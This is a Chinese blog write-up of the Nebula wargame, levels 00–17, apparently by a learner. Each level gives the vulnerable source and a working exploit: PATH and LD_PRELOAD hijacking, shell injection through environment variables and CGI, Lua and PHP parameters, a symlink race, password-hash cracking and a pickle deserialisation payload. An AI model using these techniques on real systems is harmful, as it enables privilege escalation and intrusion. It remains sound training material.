Nebula Writeup

这份writeup可能水分很大,因为第一次玩这类的题目,所以一边看别人的writeup一边玩才玩的出来,不过还会有自己的总结。

这游戏一开始我是直接在虚拟机中玩,后面发现自己傻的可以,虚拟机中各种不方便,不能粘贴复制之类,没有鼠标etc。

后面发现,特么我只要设置下虚拟机的网络,就可以用本机shell,ssh连上去啊!

Level00

第0题就是在告诉我们这系列的题目要怎么玩了,如何才算做出来。

其实就是分为两类用户,一个是levelxx和flagxx,xx就是题号,目的就是在levelxx用户的情况下,通过某些方法进入flagxx用户,然后执行getflag. 按目前的情况看,flagxx就是含漏洞的可执行文件。之后还有一些题是要求获取token,而token就是该题flag用户的密码。

第0题没啥技术性,就是用来告诉我们上面这些东西,flag00 的路径位 /bin/.../flag00, 直接执行就好:

1
2
3
4
5
level00@nebula:/bin/...$ ./flag00
Congrats, now run getflag to get your flag!

flag00@nebula:/bin/...$ getflag
You have successfully executed getflag on a target account

Level01

第一题就感觉学到很多了,这题给了程序的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//flag01.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;

gid = getegid();
uid = geteuid();

setresgid(gid, gid, gid);
setresuid(uid, uid, uid);

system("/usr/bin/env echo and now what?");
}

程序位于 /home/flag01/flag01, 我认为该题的关键点在于文件的s权限,

1
2
3
4
$ chmod 4750 flag01
$ ll
-rwsr-x--- flag01 level01 flag01

uid, gid现在还不是了解的很清楚,以后再研究。

在没有设置s权限的情况下,运行flag01的uid和gid都为运行该程序用户的id,(可在/etc/passwd中查看),但当设置了s权限之后,uid则变为该文件所属用户的uid,也就是说,任意用户(有权限)运行该文件,uid都为flag01的uid。

这有啥意义呢? 该游戏的目的是使用levelxx用户通过flagxx程序get flagxx用户shell,运行getflag,该程序最后使用了system函数运行系统命令,因为设置了s权限,所以是以该文件所有者的身份运行命令,所以有两个思路,一个是直接运行getflag,另一个是运行/bin/bash get flag01用户的shell,这里我们用第二种方法。

$ /usr/bin/env echo 是从左往右搜索 $PATH环境变量中的路径,寻找echo命令,则我们可以在环境变量的最左边添加一个路径,里面有一个我们自己写的echo命令:

1
2
3
4
5
6
7
8
9
10
level01@neula:~$ PATH=/tmp:$PATH
level01@neula:~$ vim /tmp/echo
#!/bin/bash
/bin/bash
:wq
level01@neula:~$ chmod +x /tmp/echo
level01@neula:~$ cd /home/flag01
level01@neula:~$ ./flag01
flag01@neula:~$ getflag
You have successfully executed getflag on a target account

Level02

这题一样,源码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//flag02.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
char *buffer;

gid_t gid;
uid_t uid;

gid = getegid();
uid = geteuid();

setresgid(gid, gid, gid);
setresuid(uid, uid, uid);

buffer = NULL;

asprintf($buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);

system(buffer);
}

然后运行该程序试试

1
2
3
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo level02 is cool")
level02 is cool

这题很简单,主要在 getenv("USER") 函数,该函数是获得shell的变量$USER

1
2
level02@nebula:~$ echo $USER
level02

所以只要更改该值,以达到我们能get flag02用户shell的目的

1
2
3
4
5
6
level02@nebula:/home/flag02$ USER=";bash;"
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo ;bash; is cool")

flag02@nebula:/home/flag02$ getflag
You have successfully executed getflag on a target account

Level03

这题有个定时脚本,每隔几分钟运行一个:

1
2
3
4
5
6
#!/bin/sh

for i in /home/flag03/writable.d/* ; do
(ulimit -t 5; bash -x "$i")
rm -f "$i"
done

这是一个 flag03用户运行的定时脚本,运行writable.d中的文件,运行结束后删除,不是很清楚这题的意义所在,/home/flag03/writable.d文件夹可写,那就写个脚本呗:

1
2
3
4
level03@nebula:/home/flag03/writable.d$ vim getflag.sh
#!/bin/bash
getflag > a.out
:wq

等会,你就会发现getflag.sh文件不见了,/home/flag03 下多出了a.out文件

1
2
level03@nebula:/home/flag03$ cat a.out
You have successfully executed getflag on a target account

恕我才疏学浅,这题并不懂该如何getshell,不过感觉这样和getshell没啥区别,想运行啥直接写脚本里就好了

Level04

源码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//flag04.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
char buf[1024];
int fd, rc;

if (argc == 1) {
printf("%s [file to read]\n", argv[0]);
exit(EXIT_FAILURE);
}

if (strstr((argv[1], "token") != NULL) {
printf("You may not access '%s'\n", argv[1]);
exit(EXIT_FAILURE);
}

fd = open(argv[1], O_RDONLY);
if (fd == -1) {
err(EXIT_FAILURE, "Unable to open %s", argv[1]);
}

rc = read(fd, buf, sizeof(buf));

if (rc == -1) {
err(EXIT_FAILURE, "Unable to read fd %d", fd);
}

write(1, buf, rc);
}

这题的目的是读取/home/flag04/token文件,可是该文件对level04用户没有可读权限,然后通过flag04程序的限制读取token文件,flag04的源码如上。这里我陷入了一个误区了,以为对token文件啥权限都没有,所以注意里都放在代码上了,后面看了lightless的writeup才知道,没有权限的情况下仍然可以进行软链接。

1
2
3
level04@nebula:~$ ln -s /home/flag04/token /tmp/fff
level04@nebula:/home/flag04$ ./flag04 /tmp/fff
06508b5e-8909-4f38-b630-fdb148a848a2

Level05

这题很简单,在 /home/flag05 目录下多出了 .backup.ssh 目录,.ssh 目录没有可读权限,.backup里有个压缩文件,copy到自己的目录下解压。

1
2
3
level05@nebula:/home/flag05/.backup$ cp backup-19072011.tgz /home/level05
level05@nebula:/home/flag05/.backup$ cd /home/level05
level05@nebula:/home/level05$ tar zvxf backup-19072011.tgz

解压出来了三个文件

  • authorized_keys
  • id_rsa
  • id_rsa.pub
    猜测这就是 .ssh 目录里的内容,所以可以直接ssh免密登录了
    1
    2
    3
    level05@nebula:~$ ssh flag05@127.0.0.1
    flag05@nebula:~$ getflag
    You have successfully executed getflag on a target account

Level06

这题涨姿势了,要我自己做,肯定是做不出来的,根据题目提示,到 /home/flag06 里去看,啥有用的也没发现,然后看了LL的wp后,才知道,重点是在 /etc/password

1
2
flag06@nebula:~$ cat /etc/passwd|grep flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh

我猜测,这题的目的是让我们学如何破linux密码,但是/etc/shadow 普通用户不可读,所以把flag06在shadow的内容复制到passwd中

所以接下来就是破密码了, 使用 john命令,通过apt直接安装:

1
2
3
4
5
6
7
8
9
10
11
$ apt-get install john
......
$ cat passwd
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
$ john passwd
Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 SSE2-16])
Press 'q' or Ctrl-C to abort, almost any other key for status
hello (flag06)
1g 0:00:00:00 100% 2/3 2.631g/s 1981p/s 1981c/s 1981C/s 123456..marley
Use the "--show" option to display all of the cracked passwords reliably
Session completed

密码:hello
然后ssh登录,getflag

Level07

这题是perl的代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub ping {
$host = $_[0];

print("<html><head><title>Ping results</title></head><body><pre>");

@output = `ping -c 3 $host 2>&1`;
foreach $line (@output) { print "$line"; }

print("</pre></body></html>");

}

# check if Host set. if not, display normal page, etc

ping(param("Host"));

虽然不懂Perl,但一看下就是$host没做任何过滤,所以可能会存在命令执行漏洞。这个脚本位于 /home/flag07/index.cgi, 然后通过 thttpd.conf 可知,这应该是使用http协议,监听了7007端口,然后接收Host参数,所以

1
2
3
4
5
6
$ curl  http://192.168.56.101:7007/index.cgi\?Host\="127.0.0||whoami;" 
<html><head><title>Ping results</title></head><body><pre>flag07
</pre></body></html>
$ curl http://192.168.56.101:7007/index.cgi\?Host\="127.0.0||getflag;"
<html><head><title>Ping results</title></head><body><pre>You have successfully executed getflag on a target account
</pre></body></html>

这是最简单的方法,因为这题的目的就是让我们getflag, 不过还可以进行提高,怎么getshell呢?去看LL菊苣的wp吧。。。。我没做出来。。thttpd一直报400错误。。

Level08

这题是流量审计,在 /home/flag08 里面有一个pcap文件,拖到本地用Wireshark,然后发现全是TCP包,然后有些是包含一些不全的数据,这时候可以使用wireshark跟踪tcp流的功能

右击任意一个TCP包,点击Follow TCP Stream
tcpl

然后查看密码的十六进制
tcpl

可知中间跟了几个0x7f(DEL),所以密码是 backd00Rmate

1
2
3
$ ssh flag08@nebula
flag08@nebula:~$ getflag
You have successfully executed getflag on a target account

Level09

这题是php代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

function spam($email)
{
$email = preg_replace("/\./", " dot ", $email);
$email = preg_replace("/@/", " AT ", $email);

return $email;
}

function markup($filename, $use_me)
{
$contents = file_get_contents($filename);

$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
$contents = preg_replace("/\[/", "<", $contents);
$contents = preg_replace("/\]/", ">", $contents);

return $contents;
}

$output = markup($argv[1], $argv[2]);

print $output;

?>

这题有两个可控点,$filename$use_me
然后涉及到两个知识点,一个是preg_replace已经被弃用的的/e(见[http://php.net/manual/zh/reference.pcre.pattern.modifiers.php#reference.pcre.pattern.modifiers.eval])
会转义单引号,双引号,反斜杠和NULL,然后还会执行spam(“\2”)。。然后涉及到第二个知识点([ttp://php.net/manual/en/language.types.string.php#language.types.string.parsing]):

1
2
3
4
5
6
level09@nebula:/home/flag09$ vim /tmp/payload
[email {${system($use_me)}}]
level09@nebula:/home/flag09$ ./flag09 /tmp/payload whoami
flag09
level09@nebula:/home/flag09$ ./flag09 /tmp/payload getflag
You have successfully executed getflag on a target account

Level10

这题又是C代码审计,本题目标是读取token文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
char *file;
char *host;

if(argc < 3) {
printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
exit(1);
}

file = argv[1];
host = argv[2];

if(access(argv[1], R_OK) == 0) {
int fd;
int ffd;
int rc;
struct sockaddr_in sin;
char buffer[4096];

printf("Connecting to %s:18211 .. ", host); fflush(stdout);

fd = socket(AF_INET, SOCK_STREAM, 0);

memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(host);
sin.sin_port = htons(18211);

if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
printf("Unable to connect to host %s\n", host);
exit(EXIT_FAILURE);
}

#define HITHERE ".oO Oo.\n"
if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
printf("Unable to write banner to host %s\n", host);
exit(EXIT_FAILURE);
}
#undef HITHERE

printf("Connected!\nSending file .. "); fflush(stdout);

ffd = open(file, O_RDONLY);
if(ffd == -1) {
printf("Damn. Unable to open file\n");
exit(EXIT_FAILURE);
}

rc = read(ffd, buffer, sizeof(buffer));
if(rc == -1) {
printf("Unable to read from file: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}

write(fd, buffer, rc);

printf("wrote file!\n");

} else {
printf("You don't have access to %s\n", file);
}
}

我们需要给该程序传递两个参数,一个file(文件名), 一个host(主机名),这个程序的功能是,先检查file是否可读,如果可读,则与host:18211建立tcp连接,然后open(file),发送文件内容。如下测试该程序功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
level10@nebula:/home/flag10$ vim /tmp/a
ffffff
--------
; 在本机(192.168.56.1)上
$ while [ 1 ];do nc -l 18211; done
--------
level10@nebula:/home/flag10$ ./flag10 /tmp/a 192.168.56.1
Connecting to 192.168.56.1:18211 .. Connected!
Sending file .. wrote file!
--------
; 本机
.oO Oo.
ffffff

本题的漏洞在于,先是检查文件是否可读,但是并没有打开,如果检查完文件可读之后,在建立tcp连接的过程中,我把文件改成一个level10不可读,但是flag10可读的文件,程序任然能正常运行,过程如下:

1
2
3
4
5
6
7
8
9
10
11
level10@nebula:/home/flag10$ vim /tmp/level10.sh
#!/bin/sh
while [ 1 ];
do
ln -sf /tmp/a /tmp/fff
ln -sf /home/flag10/token /tmp/fff
done
level10@nebula:/home/flag10$ bash /tmp/level10.sh
level10@nebula:/home/flag10$ while [ 1 ]; do ./flag10 /tmp/fff 192.168.56.1; done
-----------
; 你会在本机上看到token文件内容

Level11

还是C代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
* Return a random, non predictable file, and return the file descriptor for it.
*/

int getrand(char **path)
{
char *tmp;
int pid;
int fd;

srandom(time(NULL));

tmp = getenv("TEMP");
pid = getpid();

asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));

fd = open(*path, O_CREAT|O_RDWR, 0600);
unlink(*path);
return fd;
}

void process(char *buffer, int length)
{
unsigned int key;
int i;

key = length & 0xff;

for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}

system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
char line[256];
char buf[1024];
char *mem;
int length;
int fd;
char *path;

if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, "reading from stdin");
}

if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
}

length = atoi(line + strlen(CL));

if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);
} else {
int blue = length;
int pink;

fd = getrand(&path);

while(blue > 0) {
printf("blue = %d, length = %d, ", blue, length);

pink = fread(buf, 1, sizeof(buf), stdin);
printf("pink = %d\n", pink);

if(pink <= 0) {
err(1, "fread fail(blue = %d, length = %d)", blue, length);
}
write(fd, buf, pink);

blue -= pink;
}

mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if(mem == MAP_FAILED) {
err(1, "mmap");
}
process(mem, length);
}

}

这题应该不是很难,能看懂代码应该就能解出来,贴下我的payload脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#payload.py
#!/usr/bin/env python
#-*- coding:utf-8 -*-
import sys

def my_w_file(content):
f = open("payload", "w")
f.write(content)
f.close()


def main(command):
command += "\x00"
length = 1024
count_length = length & 0xff
payload_command = ""
for x in command:
payload_command += chr((ord(x) ^ count_length) & 0xff)
count_length -= ord(x)
payload_command += chr(count_length & 0xff)
payload = "Content-Length: " + str(length) + "\n" + payload_command + "A" * (length - len(payload_command) )
print payload
#my_w_file(payload)

if __name__ == '__main__':
if len(sys.argv) == 2:
main(sys.argv[1])

# $ python payload.py whoami | /home/flag11/flag11
# level11
# (╯‵□′)╯︵┻━┻ 这特么。。。不做了。。看了涛涛的博客,还有第二种更简单的方法,可是都不行。。。shit!

Level12

lua脚本的代码审计,好像是个后门脚本。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))

function hash(password)
prog = io.popen("echo "..password.." | sha1sum", "r")
data = prog:read("*all")
prog:close()

data = string.sub(data, 1, 40)

return data
end


while 1 do
local client = server:accept()
client:send("Password: ")
client:settimeout(60)
local line, err = client:receive()
if not err then
print("trying " .. line) -- log from where ;\
local h = hash(line)

if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
client:send("Better luck next time\n");
else
client:send("Congrats, your token is 413**CARRIER LOST**\n")
end

end

client:close()
end

这题你开着lua解释器试试就知道了。。问题在这行代码

1
2
prog = io.popen("echo "..password.." | sha1sum", "r")
-- payload: 4754a4f4bd5787accd33de887b9250a0691dd198;getflag > /tmp/get ;#

没有对password做任何过滤,导致命令执行。

1
2
3
4
5
level12@nebula:/tmp$ nc 127.0.0.1 50001
Password: 4754a4f4bd5787accd33de887b9250a0691dd198;getflag > /tmp/get ;#
Congrats, your token is 413**CARRIER LOST**
level12@nebula:/tmp$ cat /tmp/get
You have successfully executed getflag on a target account

感觉nebula有问题。。。没能getshell成功

Level13

这题的C代码很简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>

#define FAKEUID 1000

int main(int argc, char **argv, char **envp)
{
int c;
char token[256];

if(getuid() != FAKEUID) {
printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
printf("The system administrators will be notified of this violation\n");
exit(EXIT_FAILURE);
}

// snip, sorry :)

printf("your token is %s\n", token);

}

代码简单了,可是不会做了,看了涛涛的wp后,学到了许多新知识
前置知识点1:

LD_PRELOAD:

在Unix操作系统的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入Unix操作系统不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。

这题的思路就是劫持getuid函数 :

1
2
3
4
5
6
myuid.c
#include <sys/types.h>
uid_t getuid(void) {
//system("getflag > /tmp/getflag13"); getshell失败
return 1000;
}

2: 编译动态链接库

1
2
3
4
5
6
level13@nebula:/tmp$ gcc -shared myuid.c -o myuid.so
level13@nebula:/tLD_PRELOAD=/tmp/myuid.so
level13@nebula:/tmp$ export LD_PRELOAD
level13@nebula:/tmp$ cp /home/flag13/flag13 ./
level13@nebula:/tmp$ ./flag13
your token is b705702b-76a8-42b0-8844-3adabbe5ac58

flag13和myuid.so的ruid要一样,所以把flag13 copy过来。

Level14

给一个加密程序,然后解密token文件。。。。这是小学的找规律?

1
2
3
4
5
6
7
8
9
#!/usr/bin/env python
#-*- coding:utf-8 -*-

cipher = "857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW."
plain = ""
for x in range(len(cipher)):
plain += chr(ord(cipher[x]) - x)

print plain

得到token后

1
2
3
4
5
6
level14@nebula:/home/flag14$ su flag14
Password:
sh-4.2$ getflag
You have successfully executed getflag on a target account
sh-4.2$ whoami
flag14

Level15

暂无。。。前置技能没点够,LL的wp看不懂

Level16

perl代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub login {
$username = $_[0];
$password = $_[1];

$username =~ tr/a-z/A-Z/; # conver to uppercase
$username =~ s/\s.*//; # strip everything after a space

@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
foreach $line (@output) {
($usr, $pw) = split(/:/, $line);


if($pw =~ $password) {
return 1;
}
}

return 0;
}

sub htmlz {
print("<html><head><title>Login resuls</title></head><body>");
if($_[0] == 1) {
print("Your login was accepted<br/>");
} else {
print("Your login failed<br/>");
}
print("Would you like a cookie?<br/><br/></body></html>\n");
}

htmlz(login(param("username"), param("password")));

问题出在这句,命令执行

1
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;

然后在之前对变量 $username做了两次过滤

1
2
$username =~ tr/a-z/A-Z/; # conver to uppercase
$username =~ s/\s.*//; # strip everything after a space

一个是把所以字母变为大写,然后去掉空格后面的内容,可以这样测试 -> 在shell中输入以下命令,<xxx> 为可控区域,也就是你能输入的地方

1
$ egrep "^<xxx>" /home/flag16/userdb.txt 2>&1

然后 <xxx> 里的内容不应该出现空格,因为空格后面的内容都会被过滤,然后所以字母都必须是大写的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
level16@nebula:/tmp$ vim GET
#!/bin/sh
getflag > /tmp/flag
:wq
level16@nebula:/tmp$ export PATH=/tmp:$PATH
level16@nebula:/tmp$ GET
level16@nebula:/tmp$ cat /tmp/flag
getflag is executing on a non-flag account, this doesn't count
level16@nebula:/tmp$ rm /tmp/flag
------------------
$ curl nebula:1616/index.cgi?username=%60%2f%2a%2fget%60
------------------
level16@nebula:/tmp$ cat /tmp/flag
You have successfully executed getflag on a target account

Level17

( ′ロ` )终于遇到我会的语言了。。。python代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python

import os
import pickle
import time
import socket
import signal

signal.signal(signal.SIGCHLD, signal.SIG_IGN)

def server(skt):
line = skt.recv(1024)

obj = pickle.loads(line)

for i in obj:
clnt.send("why did you send me " + i + "?\n")

skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)

while True:
clnt, addr = skt.accept()

if(os.fork() == 0):
clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
server(clnt)
exit(1)

详情参加官方文档 [https://docs.python.org/2/library/pickle.html]

问题出来pickle模块的loads方法,在如果dumps了一个object类型数据,则在loads时会执行其中的__reduce__方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# level16.py
#!/usr/bin/env python
#-*- coding:utf-8 -*-

import os
import pickle

class ttt(object):
def __reduce__(self):
return (os.system,("getflag>/tmp/flag16",))


a = pickle.dumps(ttt())
print a
#b = pickle.loads(a)

可以自己在本地测试一下。。我的修炼还是不够啊。。

1
2
3
4
level16@nebula:/tmp$ python level16.py > nc 127.0.0.1 10007
Accepted connection from 127.0.0.1:59058^C
level16@nebula:/tmp$ cat flag16
You have successfully executed getflag on a target account

底层系统的水太深了。。。

Author

Hcamael

Posted on

2016-02-14

Updated on

2019-07-26

Licensed under